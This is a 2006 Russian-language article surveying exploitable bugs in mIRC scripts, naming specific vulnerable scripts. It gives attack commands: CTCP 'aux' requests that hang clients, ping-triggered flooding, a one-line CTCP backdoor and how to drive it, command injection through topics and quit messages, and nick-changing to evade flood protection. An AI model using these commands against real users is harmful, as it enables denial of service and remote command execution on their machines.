Уязвимости IRC каналов

В этой статье я попытаюсь разобрать часто встречающиеся уязвимости mIRC-скриптов, ибо эта проблема становится всё более актуальной с каждым днём. Статья предпологает, что читатель знает, что такое mIRC, mIRC-скрипты (хотя бы азы) и вообще IRC.

🕛 30.10.2006, 17:22

Начну с самого простого.

I. DOS Device
bug

Нужно сказать, что появление на свет con\con'a не слабо ударило
по забугорной части IRC (по нам не сильно, т.к. в то время новые баги доходили
до нас "с некоторым" опозданием). Одна лишь команда "/ctcp #lamez sound con\con"
уносила всех пользователей win9x с канала #lamez. В Win98SE и ME проблема была
решена, но, как оказалось, не до конца. Программеры из MS избавили нас от синего
экрана, но запретили создавать файлы с названиями совпадающими с именами
устройств в DOS (prn, lpt, con, aux). Так вот, многие (почти все) разработчики
программного обеспечения не предусматривают эту особенность в своих тварениях,
точнее думают, что на их продуктах она никак не может сказатся. Автор мирка
(Khaled Mardam-Bey) не исключение. Любое обращение к файлу с
названием\расширением AUX (на все остальные mIRC не реагирует), приводит:
1)
в 9x\Me к поеданию всех системных ресурсов мирком. Причём, если всётаки удаётся
убить процесс, в дальнейшей работе Windows'a наблюдается большое кол-во глюков
(значки меняеются, появляются чёрные полоски и тд). В общем, советую сразу жать
reboot.
2) XP\2k не дают сожрать все ресурсы, но сам клиент неминуемо
виснет.
Уязвимые
команды:
/load
/loadbuf
/write
/play
/writeini
/remini
/splay
Уязвимые
функции:
$read()
$readn()
$readini()
$crc()
$file()
$ini()
$lines()
$mklogfn()
$sfile()
$shortfn()
Прошу
прощения, если какие-то упустил.
Ну а теперь поговорим о том, как можно
поюзать баг удалённо (cразу оговорюсь, что "голый мирк" никак не отреагирует на
ctcp-запрос "sound aux"). Большинство разработчиков более ли менее
функциональных mIRC-скриптов, пытаются поставить свои обработчики на ВСЕ
события, которые вообще могут произойти (даже отлавливают raw и error). Я
абсолютно ничего не имею против, но как раз это их и подводит. Вот пример
обработки sound-реквеста одинм популярным немецким скриптом (важные строчки
коментирую):

ctcp *:*:*:{
if (($os < 100) && ((*con?con* iswm
$2-) || (*nul?nul* iswm $2-))) {
;## Проверка на con\con и nul\nul
echo
$evcol(ctcp) -ati2 $cl(kick) $gtd(Warning) $sd($mnick($chan)) attempted to play
$2 $+ , process halted
halt
}
if (($1 == sound) || ($1 == mp3))

&& ($exists($+($wavedir,$2))) { splay $2 }
;## Если запрашивается
звук и требуемый файл существует в $wavdir, запускаем его.
}
;## NoName
Script v.3.5 :: www.nnscript.de
Функция $exists() ошибочно считает, что файл
aux существует и возвращает $true (этот баг уже был описан нашей командой), что
нам как раз нужно. Команды:
/ctcp sound aux.wav
/ctcp mp3
aux.wav
отправят любого пользователя данного клиента в кому. Подобная
проблема присутствует в каждом втором мирк-скрипте.

II. "Autoping"
bug

Почти все новые скрипты имеют функцию "Remote lag check".
Работает она очень просто. Вы говорите одно из ключевых слов (обычно ping,
!ping, .ping, ping me и т.п.), удалённый клиент пингует вас и посылает вам
notice\privmsg с вашим же ответом. Вот пример из Boss Script
2002:

#autopinger on
on 1:text:*ping*:#:/ctcp $nick ping
on
1:ctcpreply:ping*:{
set %pt 0
%pt = $ctime - $2
notice $nick Your Ping
Reply from. $server .is : .( $+ %pt $+ ). Second(s)
%ver
halt
}
#autopinger end

Посмотрите, мы одним словом заставляем
скрипт послать ctcp запрос, а потом notice. И самое интересное, что обычно
(читай всегда) никаких ограничений на кол-во лаг-чеков не ставят. Это открывает
перед нами возможность зафлудить счастливого обладателя уязвимого скрипта просто
послав ему кучу мессаг, содержащих слово "ping". Но и тут не без подводных
камней. По идее, нам помимо мессаджа с ключевым словом, придётся посылать ответ
на "ctcp ping", то есть мы сами рескуем быть зафлужеными. Поэтому советую
"работать" с кем-нибудь на пару.
Точное количество мессаг для зафлуживания
назвать не могу, т.к. это зависит от IRC-сервера, а точнее от его флуд-лимитов.
Лично на моём IRCplus'e при дефолтовой конфигурации понадобилось ~11
мессаг.

III. backdoor

Да, да, далее пойдёт речь не о баге,
а о бэкдоре, который получил ооочень широкое распространение в первую очередь
из-за своего маленького размера. Он занимает не 10kb, не 1kb, не 500b. Он
занимает 1 (!!!) строчку размером 14 байт:
ctcp *:*:?:$1И вот эта вот
строчечка даёт полный контроль над компьютером, при условии хорошего знания
скриптинга конечно. Как же она работает? Гениально просто - при получении
клиентом ctcp-реквеста, всё его содержимое отправляется mirc-интерпритатору. А
если говорить по русски:
/ctcp
У nick'a на
машине выполнится command.
Существует несколько модификаций бэкдора. Так что,
помимо прямой отправки комманд, стоит попробывать:
/ctcp cmd

/ctcp script
Иных не встречал, но это
не значит, что их нет.

IV. command execution

Баг
встречается в скриптах, которые каким-то боком обрабатывают посланные удалённым
пользователем данные. Наболее распространённые уязвимые функции: guestbook и
pager. Я, пожалуй, разберу случай посложнее.
Всем известен самый
распространённый и мною уважаемый русский мирк-скрипт
href="http://www.neora.ru/">NeoRa TrioN. Но не все знают, что несколько
месяцев назад в нём была найдена подобная проблема (подробно на ней
останавливаться не буду, кому интересно лезте
href="http://dhgroup.org/bugs/index.shtml">сюда). Скрипт сохранял все топики
и quit-сообщения в отдельный файл. И делал это весьма каряво. При попытке
сохранить данные вида:
[some_text] } [cmd]
[some_text] | [cmd]
На
удалённой машине выполнялась "cmd".
Что касается гостевых книг, пэйджеров и
всех остальных примочек, эксплойтирование такое же.

V. aux bug
#2

Очень интересная уязвимость, о которой, кстати, мало кто знает.
Разберём скрипт Polaris IRC. В него встроен свой собственный скриптовый логгер
(видать дефолтового mirc'овскоого создателям было мало..). Он записывает все
приваты и dcc-чаты в отдельный файл. А проблема в том, что название файла
генерится по правилу: $nick $+ .log. Так вот, если у нас будет ник aux, то мирк
не сможет создать такой файл и заменит его на au_.log.
Сама уязвимость
кроется в функции View log. При попытке скриптом показать лог чата с юзером AUX,
он будет пытатся открыть файл aux.log, а не au_.log, и повиснет.
Подобные
уязвимости встречаются также в гостевых книгах и пэйджерах, когда файлу с
сообщениями юзера присваивается его ник.
Обобщая тему этой уязвимости, нужно
сказать, что она встречается во всех скриптах, где удалённый юзер как-то может
влиять на название и\или расширение какого-либо файла.

VI. Low flood
protection

На данный момент защита от флуда присутствует даже в самых
отстойных и глючных скриптах. Вот наиболее распространённая схема её
работы:
после N1 ctcp-запросов за N2 сек. юзер кидается в игнор на N3
сек.
Так вот, иногда встречаются кадры, которые кидают юзеров в игнор по
маске nick!*@*. То есть, чтобы обойти защиту от флуда, нам нужно всего лишь
регулярно (после каждых 3-5 запросов) менять ник. Flood Clon'ов с такой
примочкой я ещё не видел, а самому писать в лом. Если у тебя руки на месте,
можешь попробывать.

Чтож, пожалуй это все уязвимости, которые я встречал
в mIRC-скриптах..
PS. вот клиенты, в которых 100%-нтно присутствуют
какие-либо из описанных выше уязвимостей (метка "#" означает, что скрипт имеет
широкое распространение):
Neo-Ra Trion v.10 #
MurderScript 2001
Polaris
IRC v2.04 #
eXtreme #
WarSatan
Hкеvксly$ўrоюt 2002 script #
Boss
script v.2002
SiN4pSi77 ScRipT 6.2
[LLMirc PRoі] v.3.5a #
Stalker
Script 8.0 Final
7th Sphere 3.0 #
NiTrO ScRiPt V2 2002 (Beta)
#
gAnGstERs FlooDinG ScripT
NoName Script v.3.* #
coolpakiz Script
v1.0
IRCopen backdoor scan v1.27x
Xspy Game v.2.0.beta by Bl00r
Hackz
script